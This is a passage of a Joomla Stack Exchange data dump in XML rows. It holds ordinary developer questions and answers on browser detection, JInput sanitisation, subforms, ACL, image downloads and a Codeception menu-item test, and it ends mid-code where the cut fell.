  <row Id="30274" PostTypeId="2" ParentId="30272" CreationDate="2021-06-19T09:37:49.083" Score="0" Body="&lt;p&gt;There are several ways to save Templates for Articles.&lt;/p&gt;&#xA;&lt;p&gt;You can save one of your Articles as a 'template' and make it unpblished so that it doesn't appear on the public view of the website. Then instead of creating a &lt;code&gt;New&lt;/code&gt; article you can open the 'template' article and then click on &lt;code&gt;Save as Copy&lt;/code&gt; to start working on a new copy of the template as your new article.&lt;/p&gt;&#xA;&lt;p&gt;Depending on the Editor you are using for your website, some of the popular ones have Templates as a built-in feature. You need to look at what Editor you are using and then research if and how their article/content templates works.&lt;/p&gt;&#xA;&lt;p&gt;And then there are extensions in the JED that provide article templating. A quick search brought up Regular labs Content Templater, &lt;a href=&quot;https://docs3.regularlabs.com/contenttemplater/getting-started/introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs3.regularlabs.com/contenttemplater/getting-started/introduction&lt;/a&gt; as possible contender but there are others.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2021-06-20T10:20:39.230" LastActivityDate="2021-06-20T10:20:39.230" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30275" PostTypeId="1" CreationDate="2021-06-19T10:43:28.590" Score="0" ViewCount="108" Body="&lt;p&gt;I have created a custom file list form field and the field is used in a repeatable subform.&lt;/p&gt;&#xA;&lt;p&gt;The purpose of this custom form field is to display a list of files in folder based on 'name' field in main form.&lt;/p&gt;&#xA;&lt;p&gt;The problem I've encountered is: How to get the 'name' field from the custom form field to redirect to specific folder?&lt;/p&gt;&#xA;&lt;p&gt;The form object (&lt;code&gt;$this-&amp;gt;form&lt;/code&gt;) is the subform object.&lt;/p&gt;&#xA;&lt;p&gt;How to access the main/parent form fields to get the required 'name' field value?&lt;/p&gt;&#xA;" OwnerUserId="15434" LastEditorUserId="12352" LastEditDate="2021-06-19T22:55:56.863" LastActivityDate="2024-03-18T20:00:20.757" Title="Custom form field in subform. How to access parent form fields?" Tags="|custom-field|joomla-3.9|subform|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30276" PostTypeId="1" CreationDate="2021-06-19T12:22:23.950" Score="1" ViewCount="108" Body="&lt;p&gt;I want to somehow get the product id from j2store and display the main image of each product in the article section each product.&lt;/p&gt;&#xA;&lt;p&gt;In &lt;strong&gt;/templates/namira/html/com_content/article/default.php&lt;/strong&gt;&#xA;there are lines of codes which allow to display some content of the j2store product.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div itemprop=&amp;quot;articleBody&amp;quot;&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;item-&amp;gt;text; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But how to alter this code to include also the main image of the product?&#xA;something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;product-&amp;gt;j2store_product_id; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I want to include the j2store product class.&lt;/p&gt;&#xA;" OwnerUserId="15435" LastEditorUserId="12352" LastEditDate="2021-06-19T22:53:07.683" LastActivityDate="2024-03-24T11:04:30.523" Title="How to get product id in the article text (j2store)" Tags="|php|articles|j2store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30277" PostTypeId="1" AcceptedAnswerId="30278" CreationDate="2021-06-19T14:36:14.567" Score="1" ViewCount="98" Body="&lt;p&gt;I use following code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$client = JFactory::getApplication()-&amp;gt;client;&#xA;echo $client-&amp;gt;browser; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I test these codes in firefox,&lt;/p&gt;&#xA;&lt;p&gt;It returns '18', not firefox. I want to show 'firefox'&lt;/p&gt;&#xA;" OwnerUserId="14590" LastActivityDate="2021-06-19T23:01:54.547" Title="How to get visitor's browser name in joomla 3?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30278" PostTypeId="2" ParentId="30277" CreationDate="2021-06-19T22:28:22.000" Score="2" Body="&lt;p&gt;Strange, but &lt;code&gt;Joomla\Application\Web\WebClient&lt;/code&gt; class doesn't seem to hold information like that. Closest thing would be to get constant name using reflection:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$client = JFactory::getApplication()-&amp;gt;client;&#xA;$reflection = new ReflectionClass($client);&#xA;$browser = array_search($client-&amp;gt;browser, $reflection-&amp;gt;getConstants());&#xA;echo $browser; // Outputs 'FIREFOX'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A simpler way is to use &lt;code&gt;Joomla\CMS\Environment\Browser&lt;/code&gt; class instead:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$client = JBrowser::getInstance();&#xA;echo $client-&amp;gt;getBrowser(); // Outputs 'firefox'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-06-19T22:29:13.557" LastActivityDate="2021-06-19T22:29:13.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30279" PostTypeId="2" ParentId="30277" CreationDate="2021-06-19T22:37:33.917" Score="2" Body="&lt;p&gt;I just called for the &lt;code&gt;client&lt;/code&gt; property from a Chrome browser like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage(&#xA;    var_export(JFactory::getApplication()-&amp;gt;client, true)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and it provided the following output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\Application\Web\WebClient::__set_state(&#xA;    array(&#xA;        'platform' =&amp;gt; NULL,&#xA;        'mobile' =&amp;gt; false,&#xA;        'engine' =&amp;gt; NULL,&#xA;        'browser' =&amp;gt; 19,&#xA;        'browserVersion' =&amp;gt; '91.0.4472.106',&#xA;        'languages' =&amp;gt; array ( ),&#xA;        'encodings' =&amp;gt; array ( ),&#xA;        'userAgent' =&amp;gt; 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36',&#xA;        'acceptEncoding' =&amp;gt; 'gzip, deflate, br',&#xA;        'acceptLanguage' =&amp;gt; 'en-US,en;q=0.9',&#xA;        'robot' =&amp;gt; false,&#xA;        'detection' =&amp;gt; array ( 'browser' =&amp;gt; true, ),&#xA;        'headers' =&amp;gt; NULL,&#xA;    )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You are seeing &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.Application.Web.WebClient.html#constant_FIREFOX&quot; rel=&quot;nofollow noreferrer&quot;&gt;the constant value of Firefox&lt;/a&gt; with the &lt;code&gt;18&lt;/code&gt;. You will need to translate that integer to its constant name.  I recommend a lookup array then accessing the browser name string by its integer key in the generated array.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$browserLookup = array_flip((new ReflectionClass('JApplicationWebClient'))-&amp;gt;getConstants());&#xA;&#xA;JFactory::getApplication()-&amp;gt;enqueueMessage(&#xA;    $browserLookup[JFactory::getApplication()-&amp;gt;client-&amp;gt;browser] ?? 'Unknown'&#xA;);&#xA;// output: CHROME&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Relevant links:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;JSE: &lt;a href=&quot;https://joomla.stackexchange.com/q/16895/12352&quot;&gt;How to get the name of the browser&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;JSE: &lt;a href=&quot;https://joomla.stackexchange.com/q/646/12352&quot;&gt;Joomla browser detection&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;StackOverflow: &lt;a href=&quot;https://stackoverflow.com/q/1880148/2943403&quot;&gt;How to get name of the constant?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;JForum: &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=889634&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tip: Use Joomla browser detection Class to display modules&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;p.s. I agree with Sharky's recommended &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Environment.Browser.html#method_getBrowser&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;JBrowser::getInstance()-&amp;gt;getBrowser()&lt;/code&gt;&lt;/a&gt; approach; it is rather tidy and direct.&lt;/p&gt;&#xA;&lt;p&gt;Here is what I found in the JBrowser instance when I called &lt;code&gt;var_export()&lt;/code&gt; it on my Chrome browser (on my old, junk computer):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\Environment\Browser::__set_state(array(&#xA;   'majorVersion' =&amp;gt; '91',&#xA;   'minorVersion' =&amp;gt; '0',&#xA;   'browser' =&amp;gt; 'chrome',&#xA;   'agent' =&amp;gt; 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36',&#xA;   'lowerAgent' =&amp;gt; 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/91.0.4472.106 safari/537.36',&#xA;   'accept' =&amp;gt; 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',&#xA;   'acceptParsed' =&amp;gt; &#xA;  array (&#xA;  ),&#xA;   'platform' =&amp;gt; 'win',&#xA;   'robots' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'Googlebot',&#xA;    1 =&amp;gt; 'msnbot',&#xA;    2 =&amp;gt; 'Slurp',&#xA;    3 =&amp;gt; 'Yahoo',&#xA;    4 =&amp;gt; 'Arachnoidea',&#xA;    5 =&amp;gt; 'ArchitextSpider',&#xA;    6 =&amp;gt; 'Ask Jeeves',&#xA;    7 =&amp;gt; 'B-l-i-t-z-Bot',&#xA;    8 =&amp;gt; 'Baiduspider',&#xA;    9 =&amp;gt; 'BecomeBot',&#xA;    10 =&amp;gt; 'cfetch',&#xA;    11 =&amp;gt; 'ConveraCrawler',&#xA;    12 =&amp;gt; 'ExtractorPro',&#xA;    13 =&amp;gt; 'FAST-WebCrawler',&#xA;    14 =&amp;gt; 'FDSE robot',&#xA;    15 =&amp;gt; 'fido',&#xA;    16 =&amp;gt; 'geckobot',&#xA;    17 =&amp;gt; 'Gigabot',&#xA;    18 =&amp;gt; 'Girafabot',&#xA;    19 =&amp;gt; 'grub-client',&#xA;    20 =&amp;gt; 'Gulliver',&#xA;    21 =&amp;gt; 'HTTrack',&#xA;    22 =&amp;gt; 'ia_archiver',&#xA;    23 =&amp;gt; 'InfoSeek',&#xA;    24 =&amp;gt; 'kinjabot',&#xA;    25 =&amp;gt; 'KIT-Fireball',&#xA;    26 =&amp;gt; 'larbin',&#xA;    27 =&amp;gt; 'LEIA',&#xA;    28 =&amp;gt; 'lmspider',&#xA;    29 =&amp;gt; 'Lycos_Spider',&#xA;    30 =&amp;gt; 'Mediapartners-Google',&#xA;    31 =&amp;gt; 'MuscatFerret',&#xA;    32 =&amp;gt; 'NaverBot',&#xA;    33 =&amp;gt; 'OmniExplorer_Bot',&#xA;    34 =&amp;gt; 'polybot',&#xA;    35 =&amp;gt; 'Pompos',&#xA;    36 =&amp;gt; 'Scooter',&#xA;    37 =&amp;gt; 'Teoma',&#xA;    38 =&amp;gt; 'TheSuBot',&#xA;    39 =&amp;gt; 'TurnitinBot',&#xA;    40 =&amp;gt; 'Ultraseek',&#xA;    41 =&amp;gt; 'ViolaBot',&#xA;    42 =&amp;gt; 'webbandit',&#xA;    43 =&amp;gt; 'www.almaden.ibm.com/cs/crawler',&#xA;    44 =&amp;gt; 'ZyBorg',&#xA;  ),&#xA;   'mobile' =&amp;gt; false,&#xA;   'images' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'jpeg',&#xA;    1 =&amp;gt; 'gif',&#xA;    2 =&amp;gt; 'png',&#xA;    3 =&amp;gt; 'pjpeg',&#xA;    4 =&amp;gt; 'x-png',&#xA;    5 =&amp;gt; 'bmp',&#xA;  ),&#xA;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-06-19T23:01:54.547" LastActivityDate="2021-06-19T23:01:54.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30280" PostTypeId="2" ParentId="30273" CreationDate="2021-06-19T23:24:32.563" Score="1" Body="&lt;p&gt;The &lt;code&gt;$_POST&lt;/code&gt; array structure is determined by the &lt;code&gt;name&lt;/code&gt; attribute of each field which exists inside of the &lt;code&gt;&amp;lt;form&amp;gt;&amp;lt;/form&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&lt;p&gt;All of the basics are here: &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;array&lt;/code&gt; option is appropriate when you have brace-syntax in the field's name to express a nested structure on the field's submission data.  &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput#:%7E:text=Suppose%20you%20have%20a%20form%20like:&quot; rel=&quot;nofollow noreferrer&quot;&gt;example&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Although Joomla does have &lt;code&gt;getArray()&lt;/code&gt;, I recommend that you systematically grab the field values individually and include the default value and sanitisation technique when accessing the data.&lt;/p&gt;&#xA;&lt;p&gt;From docs: &lt;code&gt;$input-&amp;gt;post-&amp;gt;get(param_name, default_value, filter);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;In practice:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$emailTask   = $input-&amp;gt;post-&amp;gt;get('emailtask', '', 'CMD');&#xA;$formId      = $input-&amp;gt;post-&amp;gt;get('formid', '', 'WORD');&#xA;$emailAuthor = $input-&amp;gt;post-&amp;gt;get('emailauthor', '', 'RAW'); // because stripping tags can potentially damage fringe case email addresses; use additional sanitisation step before using this value&#xA;$itemId      = $input-&amp;gt;post-&amp;gt;get('itemid', '', 'INT');&#xA;$itemTitle   = $input-&amp;gt;post-&amp;gt;get('itemtitle', '', 'STRING');&#xA;$itemAlias   = $input-&amp;gt;post-&amp;gt;get('itemalias', '', 'STRING');&#xA;$itemAuthor  = $input-&amp;gt;post-&amp;gt;get('itemauthor', '', 'STRING');&#xA;$catId       = $input-&amp;gt;post-&amp;gt;get('catid', '', 'INT');&#xA;$return      = $input-&amp;gt;post-&amp;gt;get('return', '', 'RAW');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If your expected post data isn't even making it to the destination where you expect it, then your issue is not in receiving the data, but sending it to the right place.&lt;/p&gt;&#xA;&lt;p&gt;I don't know what is rendered by:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;'.$titleformD.'&#xA;'.$fields_display.'&#xA;'.$consent_field.'&#xA;'.$captcha_html.'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so I don't know know if there is &lt;code&gt;&amp;lt;form&amp;gt;&amp;lt;/form&amp;gt;&lt;/code&gt; inside of your form tags.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-06-21T07:42:10.183" LastActivityDate="2021-06-21T07:42:10.183" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="30281" PostTypeId="1" CreationDate="2021-06-21T17:14:43.007" Score="0" ViewCount="266" Body="&lt;p&gt;I am looking for good free extensions I could use to display SQL tables on my website.&lt;/p&gt;&#xA;&lt;p&gt;I have tried a couple but, they either don't work or ask for indexing which my tables don't have.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://joodb.feenders.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://joodb.feenders.de/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;JooDB has been the only one that has acutely worked on the website so far. The problem is with the free version you can only display on table on a page. The problem with is that each student has there own table wich breaks down their grade.&lt;/p&gt;&#xA;&lt;p&gt;Also there is no simple grid view for it but that is not a big deal as its free.&lt;/p&gt;&#xA;" OwnerUserId="15424" LastEditorUserId="15424" LastEditDate="2021-06-22T16:48:07.737" LastActivityDate="2021-06-22T16:48:07.737" Title="How to display external SQL table using Joomla?" Tags="|extensions|mysql|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30282" PostTypeId="1" CreationDate="2021-06-21T22:59:26.760" Score="1" ViewCount="73" Body="&lt;p&gt;I want to download the PNG image that my site creates. I want to be able to force download the image. I attempted an HTTP request to a PHP file outside of Joomla, but that did not work. How can I download the PNG image that I create?&lt;/p&gt;&#xA;&lt;p&gt;From the controller of my component&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$req = new HTTP_Request2($pth);&#xA;$req-&amp;gt;setMethod(HTTP_Request2::METHOD_POST)&#xA;    -&amp;gt;addPostParameter('download_image', $data[&amp;quot;select_image&amp;quot;]);&#xA;            &#xA;try&#xA;{&#xA;    $response = $req-&amp;gt;send();&#xA;    if (200 == $response-&amp;gt;getStatus()) &#xA;    {&#xA;        $resp = $response-&amp;gt;getBody();&#xA;        echo $resp;&#xA;    }&#xA;    else&#xA;    {&#xA;        $app-&amp;gt;enqueueMessage('Unexpected HTTP status: ' . $response-&amp;gt;getReasonPhrase());&#xA;    }&#xA;} &#xA;catch (HTTP_Request2_Exception $e) &#xA;{&#xA;    $app-&amp;gt;enqueueMessage('Error: ' . $e-&amp;gt;getMessage());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Code from the outside file&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//code to create PNG image with location $image_png;&#xA;if (file_exists($image_png))&#xA;{&#xA;    ob_start();&#xA;    header_remove();&#xA;    header($_SERVER['SERVER_PROTOCOL'] . ' 200 OK');&#xA;    header('Content-Type: image/png');&#xA;    header('Content-Disposition: attachment; filename=&amp;quot;'.basename($image_png).'&amp;quot;');&#xA;    header('Content-Length: ' . filesize($image_png));&#xA;    ob_clean();&#xA;    flush();&#xA;    readfile($image_png);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14701" LastEditorUserId="12352" LastEditDate="2021-06-21T23:52:47.893" LastActivityDate="2021-06-21T23:52:47.893" Title="How do I force download an image inside Joomla component controller" Tags="|joomla-3.x|images|controller|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="30283" PostTypeId="1" CreationDate="2021-06-22T15:13:38.983" Score="1" ViewCount="74" Body="&lt;p&gt;I'm making a site using Joomla 3 + Helix Ultimate framework. I made a contact form which works flawlessly (using the default Joomla way to make the form), but there is a problem I haven't been able to fix: the form is shown like an accordion: there's a link, you click on it and it shows the form. What I want instead is to get rid of the accordion and show directly the form when you open the page. How can I achieve this? I even tried to change the option in the &amp;quot;view&amp;quot; tab (the one with options like &amp;quot;sliders, plain&amp;quot; etc), but nothing changed. Can you help me please?&lt;/p&gt;&#xA;" OwnerUserId="15413" LastActivityDate="2021-07-04T11:16:53.647" Title="The shape of my contact form doesn't change" Tags="|joomla-3.x|helix3|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30284" PostTypeId="1" CreationDate="2021-06-22T15:13:52.673" Score="2" ViewCount="21" Body="&lt;p&gt;Where exactly do I have to set so that only this one category and article are visible to the user in Access Control List?&lt;/p&gt;&#xA;&lt;p&gt;I was able to set that the rest of the content is not edited by a user who does not have access to it.&lt;/p&gt;&#xA;&lt;p&gt;The point is, however, that he also does not see them in the administration panel. Is it possible?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qzssw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qzssw.jpg&quot; alt=&quot;ACL VIEW HIDE ARTICLE CATEGORY&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15448" LastEditorUserId="12352" LastEditDate="2021-06-22T20:40:39.843" LastActivityDate="2021-06-22T20:40:39.843" Title="ACL Joomla Permissions of different users for different categories and articles" Tags="|acl|joomla-3.9|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30285" PostTypeId="1" AcceptedAnswerId="30290" CreationDate="2021-06-22T16:07:05.000" Score="0" ViewCount="67" Body="&lt;p&gt;I'm making a site for a client using Joomla and I need your help to set up a custom form that gets submitted after a paypal payment has been made. Basically I need to create an article on which I will write some rules for a competition and then, below those, there has to be a form that gets sent after the paypal check out gets done. How can I make this possible?&lt;/p&gt;&#xA;" OwnerUserId="15413" LastActivityDate="2021-06-23T10:41:55.900" Title="Create a custom form with paypal" Tags="|joomla-3.x|helix3|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30288" PostTypeId="1" CreationDate="2021-06-23T05:30:54.137" Score="0" ViewCount="61" Body="&lt;p&gt;For module parameters -&#xA;how to select the type of menu and link, how is it implemented in the administrative part, when creating a new menu?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6mPGv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6mPGv.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I will clarify.&#xA;I need to insert a link into the url(text) field - like in the article editor - insert a menu / contact / article.&lt;/p&gt;&#xA;" OwnerUserId="14793" LastEditorUserId="12352" LastEditDate="2021-06-29T10:36:07.993" LastActivityDate="2024-03-18T21:02:40.317" Title="Selecting a menu type in a module" Tags="|menu|module-params|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="30290" PostTypeId="2" ParentId="30285" CreationDate="2021-06-23T10:41:55.900" Score="1" Body="&lt;p&gt;Forget about creating an Article, install a Form builder extension to create a form that has the field that you require and place the 'rules' in the text before the fields. Use the return URL form Paypal to point to your Form.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively create a form using a form builder extension and then embed it in an article using a plugin like those available from Regular Labs or any of other similar plugins for embedding modules in articles.&lt;/p&gt;&#xA;&lt;p&gt;If you are familiar with writing raw PHP code then you can find similar plugins that allow you to embed PHP into your Article.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-06-23T10:41:55.900" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30291" PostTypeId="1" CreationDate="2021-06-23T16:23:21.563" Score="0" ViewCount="129" Body="&lt;p&gt;I've added the following into my components XML file :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field name=&amp;quot;activity_name&amp;quot; type=&amp;quot;subform&amp;quot; label=&amp;quot;Activity&amp;quot; description=&amp;quot;&amp;quot; multiple=&amp;quot;true&amp;quot; min=&amp;quot;1&amp;quot; max=&amp;quot;10&amp;quot;&amp;gt;&#xA;        &amp;lt;form&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;activity&amp;quot; type=&amp;quot;text&amp;quot; label=&amp;quot;Activity Name&amp;quot; filter=&amp;quot;safehtml&amp;quot;/&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've then added a new column in the relevant database table.&lt;/p&gt;&#xA;&lt;p&gt;The new field is showing in the backend of the site when editing but it's not saving to the database.&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2024-03-10T20:06:00.753" Title="Trying to add subform field to existing component xml" Tags="|component|custom-component|custom-field|xml|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30292" PostTypeId="1" CreationDate="2021-06-23T16:32:29.290" Score="1" ViewCount="51" Body="&lt;p&gt;When trying to write a simple Acceptance Test only creating a new Joomla Article Blog Menu Item, I'm doing this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$I-&amp;gt;createMenuItem('Blog', 'Articles', 'Category Blog', 'Main Menu');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Step  I create menu item &amp;quot;Blog&amp;quot;,&amp;quot;Articles&amp;quot;,&amp;quot;Category Blog&amp;quot;,&amp;quot;Main Menu&amp;quot;&#xA;Fail  CSS or XPath element with link 'Select' was not found.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Everything runs as a Github Workflow and all other testing parts are working.&lt;/p&gt;&#xA;&lt;p&gt;So what fails inside the JoomlaBrowser createMenuItem function is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;click(array('link' =&amp;gt; &amp;quot;Select&amp;quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the reduced Report:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qgMXa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qgMXa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It's default Joomla menu item selection and &amp;quot;createMenuItem&amp;quot; is a default JoomlaBrowser Function. See here:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function createMenuItem($menuTitle, $menuCategory, $menuItem, $menu = 'Main Menu', $language = 'All')&#xA;{&#xA;    $this-&amp;gt;debug(&amp;quot;I open the menus page&amp;quot;);&#xA;    $this-&amp;gt;amOnPage('administrator/index.php?option=com_menus&amp;amp;view=menus');&#xA;    $this-&amp;gt;waitForText('Menus', TIMEOUT, array('css' =&amp;gt; 'H1'));&#xA;    $this-&amp;gt;checkForPhpNoticesOrWarnings();&#xA;&#xA;    $this-&amp;gt;debug(&amp;quot;I click in the menu: $menu&amp;quot;);&#xA;    $this-&amp;gt;click(array('link' =&amp;gt; $menu));&#xA;    $this-&amp;gt;waitForText('Menus: Items', TIMEOUT, array('css' =&amp;gt; 'H1'));&#xA;    $this-&amp;gt;checkForPhpNoticesOrWarnings();&#xA;&#xA;    $this-&amp;gt;debug(&amp;quot;I click new&amp;quot;);&#xA;    $this-&amp;gt;click(&amp;quot;New&amp;quot;);&#xA;    $this-&amp;gt;waitForText('Menus: New Item', TIMEOUT, array('css' =&amp;gt; 'h1'));&#xA;    $this-&amp;gt;checkForPhpNoticesOrWarnings();&#xA;    $this-&amp;gt;fillField(array('id' =&amp;gt; 'jform_title'), $menuTitle);&#xA;&#xA;    $this-&amp;gt;debug(&amp;quot;Open the menu types iframe&amp;quot;);&#xA;    $this-&amp;gt;click(array('link' =&amp;gt; &amp;quot;Select&amp;quot;));&#xA;    $this-&amp;gt;waitForElement(array('id' =&amp;gt; 'menuTypeModal'), TIMEOUT);&#xA;    $this-&amp;gt;wait(1);&#xA;    $this-&amp;gt;switchToIFrame(&amp;quot;Menu Item Type&amp;quot;);&#xA;&#xA;    $this-&amp;gt;debug(&amp;quot;Open the menu category: $menuCategory&amp;quot;);&#xA;&#xA;    // Open the category&#xA;    $this-&amp;gt;wait(1);&#xA;    $this-&amp;gt;waitForElement(array('link' =&amp;gt; $menuCategory), TIMEOUT);&#xA;    $this-&amp;gt;click(array('link' =&amp;gt; $menuCategory));&#xA;&#xA;    $this-&amp;gt;debug(&amp;quot;Choose the menu item type: $menuItem&amp;quot;);&#xA;    $this-&amp;gt;wait(1);&#xA;    $this-&amp;gt;waitForElement(array('xpath' =&amp;gt; &amp;quot;//a[contains(text()[normalize-space()], '$menuItem')]&amp;quot;), TIMEOUT);&#xA;    $this-&amp;gt;click(array('xpath' =&amp;gt; &amp;quot;//div[@id='collapseTypes']//a[contains(text()[normalize-space()], '$menuItem')]&amp;quot;));&#xA;    $this-&amp;gt;debug('I switch back to the main window');&#xA;    $this-&amp;gt;switchToIFrame();&#xA;    $this-&amp;gt;debug('I leave time to the iframe to close');&#xA;    $this-&amp;gt;wait(2);&#xA;    $this-&amp;gt;selectOptionInChosen('Language', $language);&#xA;    $this-&amp;gt;waitForText('Menus: New Item', '30', array('css' =&amp;gt; 'h1'));&#xA;    $this-&amp;gt;debug('I save the menu');&#xA;    $this-&amp;gt;click(&amp;quot;Save&amp;quot;);&#xA;&#xA;    $this-&amp;gt;waitForText('Menu item saved', TIMEOUT, array('id' =&amp;gt; 